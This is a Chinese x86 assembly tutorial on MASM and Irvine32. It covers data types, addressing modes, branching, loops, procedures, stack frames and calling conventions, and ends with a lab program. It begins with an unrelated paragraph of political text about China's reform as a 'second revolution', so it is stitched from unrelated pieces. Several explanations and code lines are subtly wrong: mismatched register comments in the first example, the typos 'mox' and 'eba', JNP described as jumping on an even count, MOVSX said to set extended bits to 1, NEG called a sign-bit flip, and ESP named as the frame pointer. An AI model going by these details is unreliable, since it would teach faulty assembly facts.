所谓第二次革命，是与中国共产党领导的第一次革命相对而言的。中国共产党领导的第一次革命把一个半殖民地半封建的旧中国变成了一个社会主义新中国；中国共产党领导的第二次革命，将把一个经济文化比较落后的社会主义中国变成一个现代化的社会主义国家。没有改革，就不可能走出一条建设中国特色社会主义的正确道路，我们的事业就不可能顺利前进。

改革作为一次新的革命，不是也不允许否定和抛弃我们建立起来的社会主义基本制度，它是社会主义制度的自我完善和发展。

x86 汇编语言详解-2

Tue, 24 Mar 2026 20:22:30 GMT

7. x86 汇编语言元素#

现在我们带你讲解一下一个汇编语言程序是怎么写的。x86 汇编语言由语句 (statement) 构成，一条语句可能有以下元素：

7.1 常量整数和常量整数表达式#

一个常量整数表示为 [{ + | - }] 数字 { 基数字符 }，例如 -10、11010011b、0A3h。

标识说明：

[] 的内容是可选的

{ A | B } 说明必须在 A 和 B 中选择一项

基数字符说明了此整数使用的数制，如下表所示：

基数字符	数制
空置/`d`	十进制 (Dec)
`q`/`o`	八进制 (Oct)
`h`	十六进制 (Hex)
`b`	二进制 (Bin)

如果一个十六进制值以字母开头，如 A4，则必须加上前缀 0 以免和变量名混淆。

整数字面量间的运算使用以下运算符：

运算符	优先级	备注
`()`	1
`+`, `-`	2	正负号
`*`, `/`	3
`mod`	4
`+`, `-`	5	加减号

每个表达式的计算结果必须为可存储为32位的整型（0 ~ FFFFFFFF），此结果在编译时确定，运行时不可变。

EQU 指令可以设置符号整数常量，相当于 C 中的 #define，格式为 标识符 EQU 常量整数表达式。EQU 定义的常量在汇编时直接替换为字面量，因此运行时固定不可变。更宽松的版本是 = 指令，允许常量重定义，但依然是汇编时确定，运行时不可更改。

7.2 其他常量#

常量实数表示为 [{ + | - }]数字.[数字][指数]，其中[指数]为科学记数法中的 ×10n×10^{n}×10n 部分，表示为 E[{ + | - }]integer。2.、-44.2E+05、26.E5 都是合法的十进制实数。常量实数按照 IEEE 浮点数格式转换存储。

编码实数 (encoded real) 以十六进制表示，用 r 结尾。对应的十六进制从 IEEE 浮点数格式的二进制数转换得到，如 +1.0 的 IEEE 浮点数格式为 0011 1111 1000 0000 0000 0000 0000 0000，编码实数表示为 3F800000r

字符和字符串常量以 ''/"" 包围，按照 ASCII 码存储。

7.3 保留字#

保留字主要有以下类型：

指令助记符，如 mov、add、mul 等
寄存器名称
汇编器指令
类型属性，如 byte 和 word
运算符
预定义的符号

保留字大小写不敏感，如 MOV 和 mov 是一样的，但预定义符号除外。

7.4 标识符#

标识符用于标识变量、常量、函数、标签，有以下规则：

长度在 1 ~ 247 之间
大小写不敏感（通过汇编器的 -Cp 选项可使之大小写敏感）
首字符必须是字母、下划线、@、? 或 $，后续的字符才可以取数字。作为建议，请尽量不要以下划线或者 @ 开头，减少违反下一条规则的概率。
不能和保留字撞名

7.5 指令#

指令在汇编时转换成运行时可执行的语句（机器语言字节）。一条指令包含四个部分：[标签:] [助记符] [操作数] [;注释]

标签标签用于标识数据/代码的位置。
助记符助记符标识指令功能。

操作数操作数用于指令数据的输入输出。操作数可以是寄存器 (reg)、内存地址 (mem) 或者整数表达式 (imm)。一条指令可以有 0 到 3 个操作数。对于有两个操作数的指令，第一个操作数作为目标操作数 (dest)，第二个操作数作为源操作数 (src)。指令一般修改的是目标操作数。对于有三个操作数的指令，后两个操作数作为源操作数执行指令，结果存储到目标操作数。常见助记符及其操作数：

助记符	操作数	说明
`MOV`	`dest, src`	`src` 的值赋值到 `dest`
`ADD`	`dest, src`	`dest = dest + src`
`INC`	`op`	`op` 递增 1
`DEC`	`op`	`op` 递减 1
`SUB`	`dest, src`	`dest = dest - src`
`MUL`	`op`	无符号乘法，结果储存在主寄存器中，即 `EAX = EAX * op`
`IMUL`	`dest, src1, src2`	有符号乘法，`dest = src1 * src2`
`JMP`	`label`	无条件跳转至标签位置
`CALL`	`func`	调用函数
`NOP`	无	无操作指令，占用 1 字节，常被汇编器用于字节对齐

Note

无论何时，我们都建议优先以寄存器作为操作数，然后是常量值，最后才是内存地址标识，因为它们的读取效率是依次递减的。

注释单行注释以 ; 开头多行注释使用 COMMENT 指令，语法为 COMMENT 结束符。从 COMMENT 到第一个结束符之间的代码块将被忽略。

7.6 段式存储#

正如 4.2 所述，x86 处理器底层依然属于段式存储模型。在大部分操作系统上，采用的模型和各位在 C/C++ 学的内存布局是一样的。

现在这个阶段，需要我们设置的内存段只有 .data（数据段）和 .code（代码段）。

7.7 示例 1#

下面是一个进行加减运算的 MASM 汇编程序，操作数是写死在程序中的。

1
INCLUDE Irvine32.inc
2

3
.code
4
main PROC
5

6
a:
7
  mov eax,30000h    ; EAX = 10000h
8
  add eax,80000h    ; EAX = 50000h
9
  sub eax,20000h    ; EAX = 30000h
10
  ; jmp a           ; jump to label 'a'
11
  call DumpRegs
12

13
  exit
14
main ENDP
15
END main

我们详细分析一下这个程序。第一部分是汇编器指令：

INCLUDE Irvine32.inc 调用了教学用库 Irvine32.inc

Warning

我们要求：在本课程中，必须 INCLUDE Irvine32.inc，因为它预设置了有用的函数和汇编器指令。

接下来是代码区，我们在这里写函数代码：

.code 表示下面的所有代码均属于代码段的内容
main PROC 定义 main 过程（Procedure，即函数）
a: 定义了一个标签 a，指向 mov eax, 30000h
mov eax, 30000h 将十六进制值 30000h 赋值给 eax
add eax, 80000h 将 80000h 和 eax 的值相加，结果保存到 eax。
call DumpRegs 调用 Irvine32.inc 的 DumpRegs 函数，作用是打印当前的寄存器数值
jmp a 表示无条件跳转到 a 指向的代码。由于有个 bug 故注释，注意到了么？
exit 是系统调用 (system call)，表示程序的退出。注意不要对主函数使用 ret，因为 ret 需要显式调用方
main ENDP 表示结束此过程的定义
END main 表示整个源文件结束，并且指定了入口点函数 main。

7.8 数据类型与数据操作#

MASM 内建以下数据类型：BYTE, SBYTE（有符号字节）, WORD, SWORD, DWORD, SDWORD, FWORD（六字节）, QWORD, TBYTE（十字节）。主要使用 BYTE, WORD, DWORD, QWORD 类型，可分别简写为 db, dw, dd, dq。

使用 TYPEDEF 可以定义新的类型，包括指针，语法为 类型名 TYPEDEF [PTR] 已注册的类型。已注册的类型包括内建类型和已使用 TYPEDEF 注册过的类型，例如：

1
CHAR    TYPEDEF BYTE
2
PCHAR   TYPEDEF PTR CHAR

使用数据类型在 .data 段定义数据的语法为 [标识符] 类型 [初始化值, ...]

1
count dword 114514
2
homo  word  ?

数据定义时必须有至少一个初始化值，如果不想自己设定，可以使用 ? 表示随机赋值。所有的初始化值，无论其格式，都会被汇编器转换为二进制数据。如果初始化值是有规律重复的，可以使用 DUP (Duplicate) 命令：

1
BYTE 20 DUP(0) ; 20 字节，均初始化为 0
2
BYTE 20 DUP(?) ; 20 字节，均随机初始化
3
BYTE 4 DUP("STACK") ; 20 字节，一个字符串："STACKSTACKSTACKSTACK"

可以有多个初始化值，这实际上就声明了一个数组：

1
list  byte  10,20,30,40
2
      byte  50,60,70,80

数据 10 位于 list 的偏移 0 位置，以此类推。

字符串也是一种数组，但作为例外，每个字节间不都需要逗号分隔。正如各位在 C 中所学的那样，所有的字符串都需要加一个 \0 终止符（当然，是手动的，没有编译器兜底了）。对于多行字符串，只需要一整块字符串的末尾终止即可，如果需要换行，需要使用 0dh, 0ah (CR/LF)：

1
greeting1 BYTE "Welcome to the Encryption Demo program "
2
          BYTE "created by Kip Irvine.",0dh,0ah
3
          BYTE "If you wish to modify this program, please "
4
          BYTE "send me a copy.",0dh,0ah,0

计算数组长度可以使用 $ - Array，例如：

1
list BYTE 10,20,30,40
2
ListSize = ($ - list) ; ListSize = 4

如果是字符串长度，需要减去使用的转义字符的长度：

1
hello BYTE "Hello",0
2
StringSize = ($ - hello) - 1 ; StringSize = 5

注意采用这种方式计算的，表达式必须紧跟在数组之后，因为 ($ - list) 的语义是当前地址 ($) 减去 list 的地址。数据在段内是连续的，因此可以用偏移值计算元素个数。如果中间再插入了其他数据，偏移值就计算错误了。

BYTE 只占 1 字节，因此偏移值 = 元素数。如果是 WORD 等更大的数据类型，就需要除以它的单位长度，例如：

1
data WORD 1,1,4,5,1,4
2
dataSize = ($ - data) / 2 ; $ - data = 12, dataSize = 6

可以在代码段中间夹杂数据段。数据的作用域从声明位置开始：

1
.code
2
mov eax,ebx
3
.data
4
temp DWORD ?
5
.code
6
mov temp,eax

在进行数据的转移时，数据的宽度必须匹配目标寄存器的宽度。由于寄存器的宽度可以“分割”，会出现数值覆盖 (Overlapping Values) 的情况：

1
.data
2
oneByte BYTE 78h
3
oneWord WORD 1234h
4
oneDword DWORD 12345678h
5

6
.code
7
mov eax,0 ; EAX = 00000000h
8
mov al,oneByte ; EAX = 00000078h
9
mov ax,oneWord ; EAX = 00001234h
10
mov eax,oneDword ; EAX = 12345678h
11
mov ax,0 ; EAX = 12340000h

数值仅覆盖对应位数，而其他位不变。对于有符号数，这种情况更加复杂：

1
.data
2
signedVal SWORD -16 ; FFF0h (-16)
3
.code
4
mov ecx,0
5
mov cx,signedVal ; ECX = 0000FFF0h (+65,520)

明明存储的是负数，结果读 ECX 的时候却读出了正数！除了尽量保证使用 CX，我们也可以先将 ECX 赋值为 FFFFFFFFh，这样数值就是正确的 FFFFFFF0h 了，这被称为符号位扩展 (Sign Extension)。为了简便较小宽度的数据向较大宽度的寄存器的转移， x86 设计了两个指令：

MOVZX (Move with Zero eXtension)

适用于无符号数，将扩展的位数设置为 0。

MOVSX (Move with Sign eXtension)

适用于有符号数，将扩展的位数设置为 1。

1
.data
2
byteVal BYTE 10001111b
3
.code
4
movzx ax,byteVal ; AX = 0000000010001111b
5
movsx bx,byteVal ; BX = 1111111110001111b

Warning

以上两个指令不得使用常量作为操作数。它们仅接受以下操作数组合：

1
reg32, reg/mem8
2
reg32, reg/mem16
3
reg16, reg/mem8

不要滥用符号位扩展，请优先确认操作数的宽度。例如：三个数据 10h、20h 和 30h 定义为 BYTE 类型，其中 30h 和前两个的用途不同。

这是中间一个步骤的内存视图：

Terminal window

1
10 00 00 00 30 00

如果将 20h 位扩展到 32 位（和 EAX 对齐）存进内存，那么：

Terminal window

1
10 20 00 00 00 00

之前存的 30h 被扩展的 0 覆盖了！

你如果还记得 C 语言的话，估计会把交换数据写成三个存储位置的中转交换，但 x86 提供了 XCHG (eXchange data)，可以直接交换数据：

1
XCHG reg,reg
2
XCHG reg,mem
3
XCHG mem,reg

对于两个内存数据的交换，需要使用寄存器中转：

1
mov ax,val1
2
xchg ax,val2
3
mov val1,ax

7.9 操作数和寻址方式#

正如我们在 7.5 所述，操作数可以是寄存器、内存地址或者整数表达式。我们将这些操作数分类为：立即数、寄存器和内存，由此得到几种寻址模式：

寻址方式	典型语句	关键含义	C 场景	记忆点
寄存器寻址	`mov ecx, eax`	寄存器中的数据传送	中间结果	无 `[]`
立即数寻址	`add eax, 5`	常量写在指令中	常量赋值	数直接给出
直接寻址	`mov ecx, count`	变量名给出地址	普通变量	名字就能定位
间接寻址	`mov edx, [ebx]`	按寄存器地址取值	指针 `*p`	寄存器里装地址
相对寻址	`mov esi, [ebx+4]`	基址 + 常量偏移	`arr[1]`	偏移按字节
相对寻址	`mov eax, count[esi]`	符号地址 + 寄存器偏移	`count[i]`	基址 + 位移
变址寻址	`mov eax, [ebx+edx+80h]`	基址 + 变址 + 位移	`buf[32+i]`	多一个动态偏移
比例变址	`mov eax, [ebx+esi*4-80h]`	基址 + 下标×大小 + 位移	`arr[i-32]`	自动乘元素大小

立即数寻址

立即数就是内存中的字面量，因此立即数可以直接写在指令中：

1
mov eax, 10h
2

3
; View in Hex:
4
; B8 10000000

直接内存寻址

地址需要解引用以访问对应数据。不过相比直接写地址值，我们一般都使用变量名，因为变量名携带了相对与段基地址的偏移信息。

1
mov eax, var1
2

3
; Suppose var1 were located at offset 10400h
4
; View in Hex:
5
; A1 00040100

操作码

发现了吗？同样是 mov，两者在 Hex dump 中的表示却不一样！我们将 B8、A1 称为操作码 (Opcode)，可以参见 MOV — Move Data。不同的 Opcode 对应不同的操作数类型，但在汇编中我们统一写成 mov。这就是上层虚拟机对底层虚拟机功能的封装。

B8 表示将 imm 复制到 reg，而 A1 表示将位于 seg:offset 的值复制到 EAX。这样你就明白为什么 mov eax, var1 是将 var1 指向的值复制到 eax，而不是将 var1 的地址赋值给 eax 了吧，因为此时操作码 A1 表示对随后的地址值解引用。

Warning

正如在 4.2 中所说的，x86 的大多数指令不支持两个内存操作数。每条 mov 指令的操作码中，用于指定操作数的位域有限，无法同时编码两个完整的内存地址；并且早期 CPU 的寄存器才是真正进行移动操作的场所，内存只是数据的“仓库”，需要使用寄存器作为中转：

1
mov eax, var1
2
mov var2, eax

现代 CPU 的存储转发机制可能会直接将 var1 的数据从 L1 数据缓存转发到 var2 的存储操作中，甚至不需要寄存器物理上“持有”数据。但指令集层面仍然要求程序员（或编译器）显式写出这个寄存器。

直接寄存器寻址

7.10 示例 2#

1
  INCLUDE Irvine32.inc
2

3
  .data
4
  greeting byte "Hello, World!", 0
5

6
  .code
7
  main PROC
8
  mov  edx, OFFSET greeting
9
  call WriteString
10

11
  exit
12
  main ENDP
13
  END  main

此处我调用了 Irvine32.inc 的 WriteString 函数。它以 edx 作为参数，接受字符串地址，将含终止符的字符串打印到标准输出。

7.11 基本运算#

基本运算指令分为算术运算和逻辑运算。所有运算都会同步修改标志寄存器。

7.11.1 加减运算#

INC 和 DEC 指令的作用是对寄存器/内存的值递增 (Increase) 和递减 (Decrease) 1，操作数就一个，运算结果保存到操作数上。

ADD 和 SUB 指令分别为加法 (Add) 和减法 (Substraction)，操作数是 dest,src，运算结果保存到 dest，不修改 src

NEG 是取反 (Negate) 指令，就是将寄存器/内存的值的符号位取反。

7.11.2 乘除运算#

MUL 是无符号数乘法 (unsigned Multiply)，只有一个操作数。AX 寄存器作为被乘数，操作数作为乘数。结果写回低位寄存器，若位数不足则溢出至高位寄存器 (AH / DX)。两个操作数的位数和是结果的位数。

CF 标志用于检查高位进位。

1
mov al,5h
2
mov bl,10h
3
mul bl ; AX = 0050h, CF = 0

IMUL 是有符号乘法 (signed multiply)，可选 1、2、3 个操作数。

一个操作数时，行为类似 MUL；两个操作数时，第一个操作数作为被乘数和目标，第二个操作数作为乘数；三个操作数时，第一个操作数作为目标，第二个操作数作为被乘数，第三个操作数作为乘数。

IMUL 需要注意 CF 和 OF 标志。如果结果的高位不能解释为低位的符号扩展，那么 OF = 1

Tip

OF 标志主要看乘法结果是否在低位的有符号数表示范围内。

DIV 是无符号数除法 (unsigned Divide)。除法比较特殊——带余数的整除法。

DIV 只有一个操作数。DX 和 AX 作为被除数，操作数为除数。结果中，商写回低位寄存器，余数写回高位寄存器 (AH / DX)。两个操作数的位数差是结果的位数。

7.11.3 位运算#

8. 分支与循环程序设计#

默认情况下，CPU 按顺序加载和执行程序。但条件指令会根据 CPU 状态标志的值（Zero、Sign、Carry 等）将控制权转移到程序中的新位置。控制转移分为两种：无条件转移和条件转移。

循环在这里视为分支，因为它也可以使用条件转移指令实现。

8.1 无条件转移#

使用 JMP 指令：

1
JMP label

CPU 将自动将 label 转换成偏移值，赋值给 IP 以在新位置执行代码。

JMP 是创建循环的最简单方法，结合标签可以形成一个无限循环：

1
top:
2
  ; ...
3
  jmp top

8.2 条件转移#

只有判断标志寄存器的值满足条件时，条件指令才跳转。由于标志寄存器不能直接设定，因此需要搭配 cmp (compare) 或 test 指令使用。

cmp 的底层逻辑是 A - B，用于判断两个数的大小。test 的底层逻辑是 A & B，用于检查特定位数的状态（test A,A 可以判断 A 是否为 0）。两个指令均只修改 FLAGS 寄存器而不破坏元数据。

常见条件转移指令：

指令	英文全称	含义	判断标志位
`JE`, `JZ`	jump equal，jump zero	结果为零则跳转(相等时跳转)	ZF=1
`JNE`, `JNZ`	jump not equal，jump not zero	结果不为零则跳转(不相等时跳转)	ZF=0
`JS`	jump sign	结果为负则跳转	SF=1
`JNS`	jump not sign	结果为非负则跳转	SF=0
`JP`, `JPE`	jump parity，jump parity even	结果中1的个数为偶数则跳转	PF=1
`JNP`, `JPO`	jump not parity，jump parity odd	结果中1的个数为偶数则跳转	PF=0
`JO`	jump overflow	结果溢出了则跳转	OF=1
`JNO`	jump not overflow	结果没有溢出则跳转	OF=0
`JB`, `JNAE`	jump below，jump not above equal	小于则跳转 (无符号数)	CF=1
`JNB`, `JAE`	jump not below，jump above equal	大于等于则跳转 (无符号数)	CF=0
`JBE`, `JNA`	jump below equal，jump not above	小于等于则跳转 (无符号数)	CF=1 or ZF=1
`JNBE`, `JA`	jump not below equal，jump above	大于则跳转(无符号数)	CF=0 and ZF=0
`JL`, `JNGE`	jump less，jump not greater equal	小于则跳转 (有符号数)	SF≠ OF
`JNL`, `JGE`	jump not less，jump greater equal	大于等于则跳转 (有符号数)	SF=OF
`JLE`, `JNG`	jump less equal，jump not greater	小于等于则跳转 (有符号数)	ZF=1 or SF≠ OF
`JNLE`, `JG`	jump not less equal，jump greater	大于则跳转(有符号数)	ZF=0 and SF=OF

其实记忆这些指令并不难，因为它们都是 JMP + 条件缩写的形式。

条件转移可以形成一个有限循环：

1
; ...
2
mov ecx, a_len
3
copy:
4
    mov eax, a[esi]
5
    mov b[esi], eax
6
    add esi, 4
7
    dec ecx
8
    cmp ecx, 0
9
    jne copy
10
; ...

有一个专门的指令 LOOP 同样实现了有限循环，以 ECX 作为循环次数，当其数值减少到 0 时，LOOP 指令就会停止，继续执行下面的指令。

1
; ...
2
mov ecx, a_len
3
copy:
4
    mov eax, a[esi]
5
    mox b[esi], eax
6
    add esi, 4
7
    loop copy
8
; ...

Warning

在进入 LOOP 循环体前，务必显式初始化 ECX！在循环体内，我们也不建议再修改 ECX。如果要修改，请先将 ECX 代表的循环次数保存，然后在退出一次循环前将次数恢复到 ECX。对于嵌套循环，你同样需要先保存外层循环次数，再设置内层循环次数；内层循环结束后，及时将外层循环次数恢复到 ECX：

1
.data
2
count dword ?
3
.code
4
mov ecx,100 ; set outer loop count
5
L1:
6
mov count,ecx ; save outer loop count
7
mov ecx,20 ; set inner loop count
8
L2:
9
; ...
10
loop L2
11

12
mov ecx,count ; restore outer loop count
13
loop L1

9. 函数#

通俗地说，我们可以将函数（Procedure，本义为过程，有人也称为子程序）定义为一个返回语句结束的语句块。函数是使用 PROC 与 ENDP 指令声明的。它必须被赋予一个合法的标识符。

对于非入口点函数（即 main），使用 RET 作为返回语句：

1
sample PROC
2
; ...
3
ret
4
sample ENDP

函数内标签的作用域仅限于此函数内，这主要影响跳转与循环指令。虽然可以通过标签名后标识 :: 来声明一个全局标签，但这样做容易破坏程序的运行时栈 (Runtime Stack)。关于运行时栈我们会更详细地介绍。

这是一个简单的加法函数，约定参数和返回值都通过寄存器传递，比较简单：

1
SumOf PROC
2
    add eax,ebx
3
    add eax,ecx
4
    ret
5
SumOf ENDP

现在你可以使用 CALL 指令调用函数了！Irvine32.inc 实现了一些简单的输入输出函数。你可以直接打开此文件查看此库声明了哪些函数。

9.1 运行时栈#

运行时栈用于存储函数执行期间的必要的临时信息。和数据结构中的“栈”一样，运行时栈同样遵循 LIFO 规则。运行时栈通过 ESP 寄存器管理地址。一般来讲，我们不会直接修改 ESP，而是通过 CALL、RET、PUSH 和 POP 指令间接修改。

ESP 永远指向最后一个压入栈的值，即栈顶。这里需要注意一下，在操作系统中，栈是“向下生长”的，即栈的地址是从高到低的。每当我们 PUSH 一个值进入栈，ESP 的值会递减，然后将操作数复制到栈里。一个 16 bits 操作数会使 ESP 递减 2，32 bits 则递减 4。PUSH 的操作数可以是寄存器、内存地址或立即数。

POP 会将 ESP 指向的栈内容复制到操作数中，然后递增 ESP。POP 的操作数可以是寄存器或内存地址。

9.2 函数调用#

CALL 指令可以让 CPU 跳转到函数内存位置以执行指令。与之配套的是函数内的 RET 语句。

具体来讲，CALL 将返回地址压入栈中，然后将目标函数地址赋值给 EIP。返回地址指向 CALL 的下一条语句。当函数 RET 时，栈中存放的返回地址赋值给 EIP，之后弹出。

因此，对于一个正常的程序，其调用函数前后的堆栈是平衡的，即在 RET 时 ESP 的值应该和 CALL 时返回地址压入后的 ESP 值相等，这样 RET 才能将正确的返回地址写入 EIP。

对于函数的嵌套调用同样如此。每 CALL 一个子函数，对应的返回地址就会压入栈中；系统在同一时间内只会执行位于运行时栈栈顶的那个函数；然后 RET 时不断“溯源”，直到返回主函数。

9.3 保存和恢复寄存器#

现在我们准备写一个更复杂的函数：

1
;----------------------------------------------------
2
; ArraySum
3
;
4
; Calculates the sum of an array of 32-bit integers.
5
; Receives: ESI = the array offset
6
;           ECX = number of elements in the array
7
; Returns: EAX = sum of the array elements
8
;----------------------------------------------------
9
ArraySum PROC
10
push esi ; save ESI, ECX
11
push ecx
12
mov eax,0 ; set the sum to zero
13
L1:
14
  add eax,[esi] ; add each integer to sum
15
  add esi,TYPE DWORD ; point to next integer
16
loop L1
17

18
pop ecx ; restore ECX, ESI
19
pop esi
20
ret
21

22
ArraySum ENDP

展开收起

此函数通过寄存器传递参数和返回值，不使用特定标识符以提高兼容性。

不过我们不是想聊这个。看这个程序的开头，它将 ESI 和 ECX 的值压入栈中，而返回前又将其 POP 出来。这是大多数修改寄存器的函数的典型做法：始终保存并恢复被函数修改的寄存器，以确保调用者自身的寄存器值不会被覆盖。该规则的一个例外是用作返回值的寄存器，一般是 EAX。

Warning

注意遵循堆栈的“后进先出”原则！

你可以通过 USES 指令让汇编器自动生成这类代码：

1
ArraySum PROC USES esi ecx
2
mov eax,0 ; set the sum to zero
3
L1:
4
  add eax,[esi] ; add each integer to sum
5
  add esi,TYPE DWORD ; point to next integer
6
loop L1
7

8
ret
9

10
ArraySum ENDP

USES 紧跟在 PROC 之后，寄存器列表中间无逗号。

Warning

USES 生成的代码会先于用户代码执行。例如：

1
ArraySum PROC USES esi ecx
2
push ebp
3
mov  ebp,esp
4
; ...

生成的是：

1
push esi
2
push ecx
3
push ebp
4
mov  ebp,esp
5
; ...

在后面章节有需要使用 ebp 间接寻址堆栈内容的地方。有时只看到显式 push 的寄存器，结果把 USES 忘了，脑子里想的堆栈和实际堆栈不一样

或者使用 pushad 和 popad （ad 代表 All Double）将所有的通用寄存器都 push/pop。

9.4 用栈传递参数#

本节开头我们展示了如何用寄存器传递参数。然而，大多数现代语言中函数参数是通过堆栈传递的：在 32 位下，Windows API 的参数也通过栈传递。因此，必须学会如何用栈传递参数。

为什么不继续使用寄存器？

和通过栈传递参数相比，寄存器传参更快（对于较早期 CPU）。然而，一旦程序规模开始膨胀，寄存器传参出现 bug 的概率就越高；寄存器数量有限，多传几个参数就不够用了

实际上，正由于寄存器及其有限，fastcall 只允许前两个参数使用寄存器（ecx 和 edx），之后的参数使用栈传参。对于可变数量参数，全部的参数都使用栈传递。

因此，在 x86 下，我们非常建议各位使用栈传参。如果使用寄存器传参，最好确保参数个数不超过 2 个，否则管理寄存器资源会变成噩梦 :(

9.4.1 栈帧#

当函数被调用时，运行时栈会预留一块区域，称为栈帧（Stack Frame，或活动记录 Activation Record）。栈帧存放着函数的实参、返回地址、局部变量和保存的寄存器。一个栈帧由以下步骤建立：

传递的实参被压入堆栈。
调用函数，使函数返回地址被推送到栈上。
当函数开始执行时，EBP 会被推送到堆栈上。
EBP 设置成和 ESP 相等。从此，EBP 作为函数形参的基址参考。
如果存在局部变量，需要递减 ESP 以预留堆栈上的变量空间。
需要保护的寄存器被推送到堆栈中。

Tip

即使使用 PUSHAD，我们依然建议在此之前先单独 push 和设置 EBP。

使用 ESP 实现栈上数据的存储和逻辑删除。EBP 在当前栈帧内位置固定，因此函数中对大部分数据的访问都基于 EBP 进行。

汇编的传参形式有两种：值传参和引用传参。

压栈顺序

需要注意的是，两种传参的参数压栈顺序都是倒序的。参考等效 C 语言格式：int some_func(int var1, int var2)，则 var2 先压入，var1 后压入，从右往左。

数组必定使用引用传参，因为值传参代表它需要将每个元素都压入栈。使用 OFFSET 指令。

9.4.2 栈参数的调用和清理#

现在我们来一个示例：

1
AddTwo PROC
2
  push ebp
3
  mov  ebp,esp
4
  mov  eax,[ebp + 12]
5
  add  eba,[ebp + 8]
6
  pop  ebp
7
  ret
8
AddTwo ENDP

使用栈传参时，需要将 EBP 压入栈，ESP 由系统自动管理，不需要我们操心。

如果我们调用了 AddTwo(5,6)，即：

1
push 6
2
push 5
3
call AddTwo

那么它的栈结构大概长这样：

AddTwo(5,6)的栈结构

如果我们想访问参数，那么用相对寻址。像 [ebp + 12] 这样用表达式引用实参的，我们称为显式栈参数 (Explicit Stack Parameter)。

有一个问题不知道你发现了没有：既然返回地址在实参下面，而当返回地址被弹出时，函数也退出了，那么剩下的实参怎么处理？

很遗憾，操作系统并不会在程序运行过程中自动回收它们。忽略它们？如果只用一层调用还好，但如果是嵌套调用呢？内层函数残留的栈实参在外层函数返回地址的下面，而 ESP 会读取实参作为地址！还记得我们在 C/C++ 所说的吗？标准结局就是内存访问冲突。

清理的理由有了，但怎么清理？POP 可不能把立即数 POP 出去啊。那么，既然栈实参不能物理移除，可不可以直接跳过它呢……

9.4.3 调用约定#

调用约定 (Calling Convention) 确定了函数传参的传参形式、压栈顺序、返回值存储和清除栈方式。在 x86 Windows 下有两个主要的调用约定：C 调用约定 (CDECL) 和 STDCALL 调用约定。

C 调用约定和 STDCALL 的压栈顺序一致，即从右到左倒序压栈。而清除栈方式不一样：

C 调用约定是调用者清除 (Caller Cleanup)，在调用函数 CALL 的下一行对 ESP 进行加法，其值等于被调用函数参数的总大小。
STDCALL 是被调用者清除 (Callee Cleanup)，给予被调用函数 RET 一个操作数，其值等于被调用函数参数的总大小。此时系统会自动向 ESP 增加值。

STDCALL 可以确保调用者不会忘记清理栈，而 C 调用约定允许可变数量参数。

FASTCALL 使用 ECX 和 EDX 传递前两个参数，之后的参数使用栈传递。

所有调用约定的整数返回值均通过 EAX 返回。

FASTCALL 的翻身

随着 CPU 的进步，寄存器的数量增加，FASTCALL 也迎来了升级。x86-64 Windows 允许前 4 个、x86-64 Linux 允许前 6 个参数使用寄存器传参（从左到右顺序），其他参数使用栈传参（从右往左）。

FASTCALL 成为 x86-64 的唯一调用约定。不少函数实现了纯寄存器传参，因为长参数的函数还是少见的。

Tip

虽然你的程序你做主，但最好和汇编器一样遵守调用约定……

如果压栈参数在寄存器里，将寄存器压入栈，那么由调用者恢复寄存器：

1
mov ecx,eax
2
push ecx
3
push OFFSET Array
4
call some_func
5
add esp,4
6
pop ecx

压栈的参数长度必须为 4 字节（32 bit 下）。如果值传参发现参数长度不是 4 字节，则应该换用引用传参。

9.5 引用传参的使用#

引用参数通常使用间接寻址访问。比如将一个数组的引用传递给 ESI：

1
mov esi,[ebp+12] ; offset of array
2
mov ecx,[ebp+8] ; array length
3
; ...
4
mov [esi],ax ; insert value in array
5
add esi,TYPE WORD ; move to next element
6
; ...

9.6 综合示例#

对于计科的同学，课程要求就到这里。

函数调用时的具体步骤如下：

主调函数将被调函数所要求的参数，根据相应的函数调用约定，保存在运行时栈中。该操作会改变程序的栈指针。
主调函数将控制权移交给被调函数（使用 CALL 指令）。函数的返回地址（待执行的下条指令地址）保存在程序栈中（压栈操作隐含在 CALL 指令中）。
被调函数会设置帧基指针 ESP
被调函数通过修改栈顶指针的值，为自己的局部变量在运行时栈中分配内存空间，并从帧基指针的位置处向低地址方向存放被调函数的局部变量和临时变量。
如有必要，被调函数会保存希望调用前后保持不变的寄存器值。
被调函数执行自己任务，此时可能需要访问由主调函数传入的参数。若被调函数返回一个值，该值通常保存在一个指定寄存器中(如EAX)。
一旦被调函数完成操作，为该函数局部变量分配的栈空间将被释放。这通常是步骤4的逆向执行。
恢复步骤3中保存的寄存器值，包含主调函数的帧基指针寄存器。
被调函数将控制权交还主调函数(使用ret指令)。根据使用的函数调用约定，该操作也可能从程序栈上清除先前传入的参数。
主调函数再次获得控制权后，可能需要将先前的参数从栈上清除。在这种情况下，对栈的修改需要将帧基指针值恢复到步骤1之前的值。

步骤 3 与步骤 4 在函数调用之初常一同出现，统称为函数序 (prologue)；步骤 6 到步骤 8 在函数调用的最后常一同出现，统称为函数跋 (epilogue)。

1
; lab5_2.asm - Watermelonabc 2026/4/18
2
; 本程序用于求给定有符号数列中，绝对值比目标数 X 更大的最小负奇数
3
; 若存在，输出此数的绝对值；若不存在，输出 0
4

5
include Irvine32.inc
6

7
.data
8
TAB dword 5 dup(?)
9
datSize = ($ - TAB)/4
10
X dword 9
11
Min dword ?
12

13
.code
14

15
; dword _cdecl getMin(dword* src,dword goal,dword leng) [ebp+8,ebp+12,ebp+16]
16
; src 地址、goal 和 leng 通过堆栈传参
17
; 返回值通过 eax 返回，表示 Min 的绝对值
18

19
getMin PROC
20
    push ebp
21
    mov ebp,esp
22
    push esi
23
    push edx
24
    push ebx
25
    mov esi,[ebp+8]
26
    mov ebx,[ebp+12]
27
    mov ecx,[ebp+16]
28
    mov eax,0
29
    mov edx,0
30
    isMin:
31
        mov edx,[esi]
32
        cmp edx,0
33
        jge notMin ; is below 0?
34
        and edx,1h
35
        cmp edx,1
36
        jne notMin ; is odd number？
37
        mov edx,[esi]
38
        neg edx
39
        cmp edx,ebx
40
        jle notMin ; is bigger than X?
41
        cmp eax,edx
42
        jg notMin ; is bigger than current Min?
43
        mov eax,edx
44
        notMin:
45
        add esi,4
46
    loop isMin
47
    pop ebx
48
    pop edx
49
    pop esi
50
    pop ebp
51
    ret
52
getMin ENDP
53

54
main PROC
55
    mov esi,OFFSET TAB
56
    mov ecx,datSize
57
    input:
58
        call ReadInt ; read a signed 32 bits integer from console and put into EAX
59
        mov [esi],eax
60
        add esi,4
61
    loop input
62
    push datSize ; leng
63
    push X       ; goal
64
    push OFFSET TAB ; *src
65
    call getMin
66
    add esp,12
67
    mov Min,eax
68
    call WriteDec ; get an unsigned 32 bits integer from EAX and write to console
69
    exit
70
main ENDP
71

72
END main

